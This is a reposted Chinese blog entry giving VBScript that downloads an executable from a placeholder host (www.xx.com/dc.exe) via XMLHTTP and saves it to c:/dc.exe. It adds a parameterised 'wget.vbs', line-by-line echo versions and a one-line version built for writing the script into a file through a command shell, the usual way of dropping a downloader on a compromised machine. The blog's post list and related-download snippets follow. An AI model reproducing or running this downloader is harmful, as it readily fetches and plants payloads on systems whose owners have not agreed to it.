自动下载并运行的VBS脚本代码[转载]
- 博客分类:
- 技术杂绘
自动下载并运行的VBS脚本代码[转载]
2012年01月15日
信息来源:http://blog.csdn.net/yatere/article/details/6562680
自动下载并运行的VBS脚本代码
Set xPost = createObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://www.xx.com/dc.exe",0 '下载文件的地址
xPost.Send()
Set sGet = createObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile "c:/dc.exe",2 '保存文件的路径和文件名
把以上代码保存在xx.vbs文件 执行cmd.exe xx.vbs
使用ECHO方法写入
echo Set xPost = createObject("Microsoft.XMLHTTP") >dc.vbs
echo xPost.Open "GET",http://www.xxx.com/dc.exe,0 >>dc.vbs
echo xPost.Send() >>dc.vbs
echo Set sGet = createObject("ADODB.Stream") >>dc.vbs
echo sGet.Mode = 3 >>dc.vbs
echo sGet.Type = 1 >>dc.vbs
echo sGet.Open() >>dc.vbs
echo sGet.Write(xPost.responseBody) >>dc.vbs
echo sGet.SaveToFile "c:/dc.exe",2 >>dc.vbs
===================带参数的WGET.vbs==========
on error resume next
iLocal=LCase(Wscript.Arguments(1))
iRemote=LCase(Wscript.Arguments(0))
Set xPost=createObject("Microsoft.XMLHTTP")
xPost.Open "GET",iRemote,0
xPost.Send()
set sGet=createObject("ADODB.Stream")
sGet.Mode=3
sGet.Type=1
sGet.Open()
sGet.Write xPost.ResponseBody
sGet.SaveToFile iLocal,2
===================带参数的WGET.vbs==========
===================带参数的WGET.vbs==========
echo on
echo on error resume next >dc.vbs
echo iLocal=LCase(Wscript.Arguments(1))>>dc.vbs
echo iRemote=LCase(Wscript.Arguments(0))>>dc.vbs
echo Set xPost=createObject("Microsoft.XMLHTTP")>>dc.vbs
echo xPost.Open "GET",iRemote,0>>dc.vbs
echo xPost.Send()>>dc.vbs
echo set sGet=createObject("ADODB.Stream")>>dc.vbs
echo sGet.Mode=3>>dc.vbs
echo sGet.Type=1>>dc.vbs
echo sGet.Open()>>dc.vbs
echo sGet.Write xPost.ResponseBody>>dc.vbs
echo sGet.SaveToFile iLocal,2>>dc.vbs
echo off
pasue
===================带参数的WGET.vbs==========
1.iget.vbs一次写入
在vbs语句的接触是符号是: 所以我们iget.vbs可以这样写
Set x= createObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = createObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2
这样我们可以一次echo成功,echo版本:
echo Set x= createObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = createObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >iget.vbs
发表评论
-
linux 电源管理
2012-01-20 09:01 2177linux 电源管理 2011年06 ... -
memcached完全剖析
2012-01-20 09:01 772memcached完全剖析 2011年0 ... -
关于文件的一些总结
2012-01-20 09:01 930关于文件的一些总结 2010年08月29日 Create ... -
low level I/O和stream I/O
2012-01-20 09:01 796low level I/O和stream I/O 201 ... -
充分利用 Xerces-C++,第 1 部分
2012-01-20 09:01 924充分利用 Xerces-C++,第 1 ... -
利用VBS脚本让qq永远在线
2012-01-19 14:05 829利用VBS脚本让qq永远在线 2011年06月07日 让 ... -
vbs脚本实例
2012-01-19 14:05 889vbs脚本实例 2011年02月28日 rem 结束QQ ... -
vbs 脚本没事测试玩
2012-01-19 14:05 671vbs 脚本没事测试玩 2011年03月27日 Set ... -
VBS脚本文件大全
2012-01-19 14:05 877VBS脚本文件大全 2011年05月24日 一、自动打开 ... -
解决系统提示:内存不能为“read”或"written"的办法
2012-01-17 03:55 726解决系统提示:内存不能为“read”或"writte ... -
内存不能为“read”或"written"的解决
2012-01-17 03:55 625内存不能为“read”或"written" ... -
0x08e629ab 指令引用的 0x0000000c内存不能为read 怎么解决11
2012-01-17 03:54 14380x08e629ab 指令引用的 0x00 ... -
内存不能为read和无法定位程序输入点 +@于动态链接库上
2012-01-17 03:54 1462内存不能为read和无法定位程序输入点 +@于动态链接库上 ... -
操作系统为XP 控制面板中的“添加删除程序”打不开,显示“rundll32.exe 遇到问题需要关闭。
2012-01-17 03:54 2698操作系统为XP 控制面板中的“添加删除程序”打不开,显示“ru ... -
基于C#的Socket开发快速入门
2012-01-16 02:42 657基于C#的Socket开发快速 ... -
C# Socket多线程编程实例
2012-01-16 02:42 594C# Socket多线程编程实例 ... -
C++ socket编程(tcp udp)
2012-01-16 02:42 654C++ socket编程(tcp udp) 2011 ... -
最基本的Socket编程C#
2012-01-16 02:41 609最基本的Socket编程C# 201 ... -
Dev C++ 中socket编程
2012-01-16 02:41 1176Dev C++ 中socket编程 2010年06月07日 ...
相关推荐
QQ自动登陆”的VBS脚本代码.pdf
首先,需要创建一个文本文件并在其中编写VBS脚本代码。例如,假设我们需要执行位于D盘download文件夹下的名为`BaiduYun_3.5.0.exe`的应用程序,可以在文本文件中写入以下代码: ```vbscript Dim objShell Set ...
### VBS脚本常用代码详解 #### 一、VBS播放音乐 VBS(Visual Basic Script Edition)是一种轻量级的脚本语言,基于VB(Visual Basic),常用于自动化任务和系统管理。以下是一个简单的VBS脚本示例,用于播放指定的...
打开文本编辑器,如记事本,输入以下代码并保存为`script.vbs`: ```vb Option Explicit Dim WshShell, oExec Set WshShell = CreateObject("WScript.Shell") ' 指定Tomcat的安装路径 Dim tomcatPath: tomcatPath...
标题“c++调用vbs脚本函数(Qt)”指出了一个具体的技术实践,即在Qt环境下,使用C++代码来调用VBScript中的函数。这通常是为了利用VBScript在处理Windows特定任务,如自动化、文件操作或与COM组件交互时的便利性。 ...
wincc vbs脚本手册 西门子 组态 脚本
自动打网页的VBS脚本 自动打网页的VBS脚本 可也调整窗口大小
WinCC是西门子提供的一款用于监控和控制工业系统的软件,而C脚本和VBS脚本是WinCC中支持的两种脚本语言,分别代表C语言风格的脚本和Visual Basic Scripting Edition(VBS)风格的脚本。 1. WinCC脚本基础 在WinCC...
VBS取QQ-TM号码的自动登录命令行.vbs 妙用脚本清除电脑中的痕迹.vbs 后台字典文件管理器.vbs 定时关机.vbs 列出管理工具集.vbs 旁注查询工具.vbs 中文姓名笔画计算(VBS脚本版).vbs 利用VB编写文本朗读精灵.vbs 。...
而“NetCard Name.vbs”就是我们要找的VBS脚本本身,包含了实现自动修改网卡名称的代码。打开这个脚本,我们可以看到如何使用VBS与注册表交互,查找当前的网卡名称,设定新的名称,以及可能的错误处理和用户界面交互...
VBS脚本运行库手册之一(磁盘操作) VBS脚本运行库手册之二(磁盘操作) VBS脚本运行库手册之三(管理文件夹) VBS脚本运行库手册之四(管理文件夹) VBS脚本运行库手册之五(文件夹属性) VBS脚本运行库手册之...
这些脚本通常会通过批处理或者VBS的组合来实现更复杂的功能,比如在系统启动时自动运行、定时执行等。用户可以根据自己的需求选择或修改这些脚本来适应自己的工作环境。 总的来说,这个"windows常用bat/vbs脚本合集...
这段代码创建了一个WScript.Shell对象,并通过Run方法执行了指定路径的VBS脚本。 2. **使用ScriptControl对象**:ScriptControl对象允许VB直接执行VBScript或JScript代码。但这需要在VB6或更早版本中使用,因为从...
综上所述,VBS脚本编程以其独特的优势和简洁的语法,在自动化日常计算机任务方面发挥着重要作用,尤其是对于Windows用户而言,掌握了VBS脚本,就能轻松应对许多重复性高、耗时的计算机操作,极大地提升了工作效率。...
压缩文件中包含了近100个本人收集和实际应用的所有脚本,代码详细,涉及Windows账号,AD域管理,操作系统,注册表,文件读写,网络,端口扫描等等vbs代码,经典快下哦,vbs交流请加群70539804,本人是群主
我个人喜欢研究cmd,后面无意中接触到vbs,就思考cmd能运行vbs么?---答案是可以的。经过研究发现,cmd可以执行vbs,但是还是需要生成vbs文件,执行完成后删除vbs文件
VBS(Visual Basic Script)是一种基于Visual Basic编程语言的脚本版本,主要用于Windows环境下的自动化任务、网页交互和系统管理。这个"vbs简单脚本合集"可能包含了一系列实用的VBS脚本示例,旨在帮助用户了解和...
VBS脚本开发工具还允许开发者进行调试,定位并修复脚本中的错误,这对于确保脚本的正确运行至关重要。此外,学习和使用VBSClass这样的类库,可以提升代码的结构化和可维护性,使得大型项目更容易管理和扩展。 总之...
VBS脚本可以使各种各样的任务自动化,可以使你从重复琐碎的工作中解脱出来,极大的提高工作效率。 VBS脚本的优点: 1. 高效:VBS脚本可以直接由Windows系统执行,不需要编译成二进制文件。 2. 易学:VBS脚本易于...
- 在保存脚本的位置找到该文件并双击运行。 - 应该会弹出一个消息框显示“Hello World!”。 **注意事项**: - 确保所有的标点符号(如引号和逗号)都是英文状态下的字符。 - 脚本文件的名称可以自定义,但扩展名...